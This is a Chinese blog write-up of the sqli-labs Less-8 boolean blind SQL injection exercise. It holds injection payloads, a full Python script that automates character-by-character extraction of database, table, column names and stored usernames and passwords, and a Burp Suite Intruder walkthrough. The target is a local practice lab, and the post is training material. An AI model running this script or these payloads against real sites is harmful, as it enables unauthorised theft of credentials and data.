Less-8(盲注--布尔盲注)

布尔盲注

在前面的练习中,也涉及到了布尔盲注的解题过程,思路都是一样的。自己构造判断语句强制页面进行判断并根据返回结果查看判断的正确性。

1. 关卡分析

本次的关卡是less-8,首先我们来分析一下这个页面。通过多次的尝试我们发现,如果输入的是true,那么就会返回一个You are in......,而如果是false,则不会返回任何的界面。因此我们可以根据这个信息来进行布尔盲注。

首先利用?id=1' and 1=1 --+?id=1' and 1=2 --+确定id的类型为单引号''包裹。然后进行盲注。

2. 盲注思路

由于盲注的过程,很繁琐,因此我们这里只提供一个大致的思路,而真正的破解过程,我编写了一个python程序,让他来完成。

下面来说思路:

  1. 破解当前数据库名:
    and length(database)=num破解名字长度。
    and ascii(substr(database(), 1,1))=num猜出每一个字母的ascii码。最后得到数据库的名字。

  2. 破解所有数据库名字
    and (select count(*) from information_schema.schemata)=num判断数据库的个数。
    and length((select schema_name from information_schema.schemata limit 0,1))=num判断每一个数据库的名字的长度。
    and ascii(substr((select schema_name from information_schema.schemata limit 0,1)), 1,1)=num猜解每一个数据库名字的每一个字母。最后得出数据库的名字。

  3. 破解数据表和表中的字段
    具体操作语法和2中破解数据库名字一样,只是查询的表变成了information_tablesinformation_columns

3. 编写工具进行通关

我们通过以上的语句,进行一个一个数据和尝试,最终能够破解数据库的所有信息。但是每次要通过若干次尝试,才能得到一个字母的值,很浪费时间,这么繁琐的工作,怎么能让人干呢?计算机不就是用来替人干脏活的么?因此我编写了一个程序,用来通关less-8。该程序只能实现一些基本功能,有不好的地方请见谅,我将代码放在下面,如果你们有兴趣的话可以改进一下。

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

import requests
import re

class SQL_injection():
    def __init__(self, id, url, table_name='tables', db_name='information.schema',  *args):
        self.id = id
        self.url = url
        self.db_name = db_name
        self.table_name = table_name
        self.args = args

    # 访问操作
    # 判断检索字段返回值: 返回检索字段的数目
    # 盲注返回值: True返回1 False返回0
    def req(self, url, num):
        response = requests.get(url)
        # print(url)
        # print(response.text)
        result = re.search(r'color="#FFFF00">(.*?)<', response.text)
        # print(result)
        if result:
            if result.group(1) == "You are in...........":
                # print("连接正确")
                return num
            else:
                return 0
        else:
            return 0


    # 判断字段数目, 需要指定数据库和数据表
    def column_num(self):
        num = 0
        for i in range(1, 100):
            new_url1 = self.url + self.id + " order by %s --+ " % (i)
            # print(new_url1)
            flag = self.req(new_url1, i)
            if flag:
                num = flag
                print("\r网页搜索的字段数目为:%s" % flag, end="")
            if not flag:
                # print("xxx")
                break
        print()
        return num


    # 判断当前数据库名字
    def db_name1(self):
        length = 0
        for i in range(1,100):
            new_url = self.url + self.id + " and length(database())=%s  --+" % i
            flag = self.req(new_url, 1)
            if flag:
                length = i+1
                break

        if length == 0:
            print("数据库名字长度获取失败.....")
            return 0
        print("\n正在使用的数据库:", end='')
        for i in range(1, length):
            for k in range(95, 123):
                new_url = url + id + " and ascii(substr(database(), %s))=%s  --+" % (i, k)
                flag = self.req(new_url, 1)
                if flag:
                    print(chr(int(k)), end='')


    # 爆库,列出所有数据库名
    def db_list(self):
        length = 0
        # 爆出数据库个数
        for i in range(1, 10000):
            new_url = self.url + self.id + " and (select count(schema_name) from information_schema.schemata)=%s --+ " % i
            flag = self.req(new_url, 1)
            if flag:
                length = i
                print("\n一共有%s个数据库"%length)
                break

        # 一一爆出数据库的名字
        # 遍历每一行
        for i in range(0, length):
            # 求每一行数据库名字的长度
            for l in range(1, 100):
                # print(l)
                new_url = url + id + " and length((select schema_name from information_schema.schemata limit %s, 1))=%s --+ " % (i, l)
                # print(new_url)
                flag = self.req(new_url, 1)
                if flag:
                    db_name_length = l
                    print("%s. 数据库名字的长度: %s          数据库名:  "%(int(i+1), db_name_length), end='')

                    # 求数据库名字
                    for db_l in range(1, int(db_name_length) + 1):
                        for k in range(95, 123):
                            new_url = \
                                url + id + \
                                " and ascii(substr((select schema_name from information_schema.schemata limit %s,1), %s, 1)) =%s --+ " \
                                % (i, db_l, k)
                            flag = self.req(new_url, 1)
                            if flag:
                                print(chr(int(k)), end="")
                    print()
                    break


    # 爆表
    # 接受参数,网站链接,id, 指定数据库的名字
    def table_name1(self):
        length = 0
        # 爆出某个数据库中数据表个数
        if self.db_name:
            print("\n当前查询的数据库为 %s " % self.db_name)
            for i in range(1, 10000):
                new_url = url + id + " and (select count(table_name) from information_schema.tables where table_schema='%s')=%s --+ " % (self.db_name, i)
                flag = self.req(new_url, 1)
                if flag:
                    length = i
                    print("一共有%s张数据库表" % length)
                    break

            # 一一爆出数据表的名字
            for i in range(0, length):
                # 求每一行数据库名字的长度
                for l in range(1, 100):
                    # print(l)
                    new_url = url + id + " and length((select table_name from information_schema.tables where table_schema='%s' limit %s, 1))=%s --+ " % (self.db_name, i, l)
                    # print(new_url)
                    flag = self.req(new_url, 1)
                    if flag:
                        db_name_length = l
                        print("%s. 数据表名字的长度: %s          数据表名:  "%(int(i+1), db_name_length), end='')

                        # 求数据库名字
                        for db_l in range(1, int(db_name_length) + 1):
                            for k in range(95, 123):
                                new_url = \
                                    url + id + \
                                    " and ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %s,1), %s, 1)) =%s --+ " \
                                    % (self.db_name, i, db_l, k)
                                flag = self.req(new_url, 1)
                                if flag:
                                    print(chr(int(k)), end="")
                        print()
                        break


        # 如果没有指定数据库,那么则搜索整个DBMS有多少张表
        else:
            for i in range(1, 10000):
                new_url = url + id + " and (select count(table_name) from information_schema.tables)=%s --+ " % i
                flag = self.req(new_url, 1)
                if flag:
                    length = i
                    print("\n一共有%s个数据库表" % length)
                    break


    # 爆字段
    def columns_name(self):
        length=0
        print("\n当前查询的数据库为 %s, 数据表为 %s " % (self.db_name, self.table_name))
        for i in range(1, 10000):
            new_url = url + id + " and (select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' )=%s --+ " % (
            self.db_name, self.table_name, i)
            flag = self.req(new_url, 1)
            if flag:
                length = i
                print("此表一共有%s个字段" % length)
                break

        # 一一爆出数据字段的名字
        for i in range(0, length):
            # 求每一个数据字段名称的长度
            for l in range(1, 100):
                # print(l)
                new_url = url + id + " and length((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %s, 1))=%s --+ " % (
                self.db_name, self.table_name, i, l)
                # print(new_url)
                flag = self.req(new_url, 1)
                if flag:
                    db_name_length = l
                    print("%s. 数据表名字的长度: %s          数据表名:  " % (int(i + 1), db_name_length), end='')

                    # 求数据库名字
                    for db_l in range(1, int(db_name_length) + 1):
                        for k in range(95, 123):
                            new_url = \
                                url + id + \
                                " and ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %s,1), %s, 1)) =%s --+ " \
                                % (self.db_name, self.table_name, i, db_l, k)
                            flag = self.req(new_url, 1)
                            if flag:
                                print(chr(int(k)), end="")
                    print()
                    break


    # 爆值
    def value(self):
        # print(self.args)
        args_len = len(self.args)
        length = 0
        for arg_len in range(0, args_len):
            for i in range(1, 100000):
                new_url = url + id + " and (select count(%s) from %s.%s)=%s --+ " % (self.args[arg_len], self.db_name, self.table_name, i)
                # print(new_url)
                if self.req(new_url, 1):
                    print("字段: %s --> %s  行" % (self.args[arg_len], i))
                    length = i
                    break

            # 求每一个字段的所有值
            for i in range(0, length):
                # 求每一个值名称的长度
                for l in range(1, 1000):
                    # print(l)
                    new_url = url + id + " and length((select %s from %s.%s limit %s, 1))=%s --+ " % (
                        self.args[arg_len], self.db_name, self.table_name, i, l)
                    # print(new_url)
                    flag = self.req(new_url, 1)
                    if flag:
                        db_name_length = l
                        # print("%s. %s字段长度: %s          值为:  " % (int(i + 1), args[arg_len], db_name_length), end='')
                        print("%s. %s :  " % (int(i + 1), self.args[arg_len]), end='')

                        # 求数值的名字
                        for db_l in range(1, int(db_name_length) + 1):
                            for k in range(33, 127):
                                new_url = \
                                    url + id + \
                                    " and ascii(substr((select %s from %s.%s limit %s,1), %s, 1)) =%s --+ " \
                                    % (self.args[arg_len], self.db_name, self.table_name, i, db_l, k)
                                # print(new_url)
                                flag = self.req(new_url, 1)
                                if flag:
                                    print(chr(int(k)), end="")
                        print()
                        break


if __name__ == "__main__":
    x = input("请输入您要练习的less: ")
    url = "http://127.0.0.1:7788/sqli/Less-%s/?id=" % x
    id = input("请入id形式")

    # sql = SQL_injection(id, url, table_name, db_name, args)
    sql = SQL_injection(id, url, 'users', 'security', 'username', 'password')
    # 获取当前使用的数据库的名字
    sql.db_name1()

    # 列出所有数据库的名字
    sql.db_list()

    # 列出指定数据库汇总所有数据表, 若没有指定数据库,则只显示有多少张表
    sql.table_name1()

    # 列指定表中所有的列
    sql.columns_name()

    # 列出指定字段的值
    sql.value()

在这里判断字母的时候,我是用的方法是,一个一个的测试并请求,并没有使用像二分查找那样高效的算法,所以在进行名字爆破的时候,速度相对较慢。但是由于范围不大,因此在样本不多的情况下,花费的时间还是比较乐观的。
我们看一下结果:
在这里插入图片描述
在这里插入图片描述
可以看到,程序已经替我们做了繁琐的判断操作,把数据库内部的信息完整的呈现出来了。如果有觉得执行速度慢的小伙伴,可以使用查找算法来优化一下这个代码。

后来,我有对前面的less尝试了一下,也可以用这个代码去通关前面的一些可以使用布尔盲注的题目,只需要改一下页面返回的判断语句即可。好了,到此为止,我们的less-8就算是成功拿下了!

4. 使用burp suite

在这里我们使用burp suit也可以实现。
这里我就只展示一个破解当前数据库名字的第一个字母的操作(其他操作都一样)
首先我们要构造一条sql语句。
http://192.168.xxx.xxx:7788/sqli/Less-8/?id=1' and ascii(substr(database(), 1, 1))=1 --+
注意:这里在访问的时候,要使用你本机的私网IP地址,因为127.0.0.1这个IP地址。burp suit拦截不到。

在这里插入图片描述
访问后我们开启burp suite拦截,并发送到Intruder模块。
在这里插入图片描述
然后点击payloads
在这里插入图片描述
配置好以后,点击Start attack开始。
在这里插入图片描述
最后我们在115这里,发现和别的response长度不同,点开相应查看,发现页面存在You are in.....字段,那么第一个字母的ascii就是115,查阅ascii表得知115对应的字母就是s

那么下面我们对整个名字爆破:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
最終,查閲ascii表就可以知道,数据库名字为security

以上就是burp suite解体的思路,如果对burp suite掌握熟练的朋友,也可以用burp suite进行破解。

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值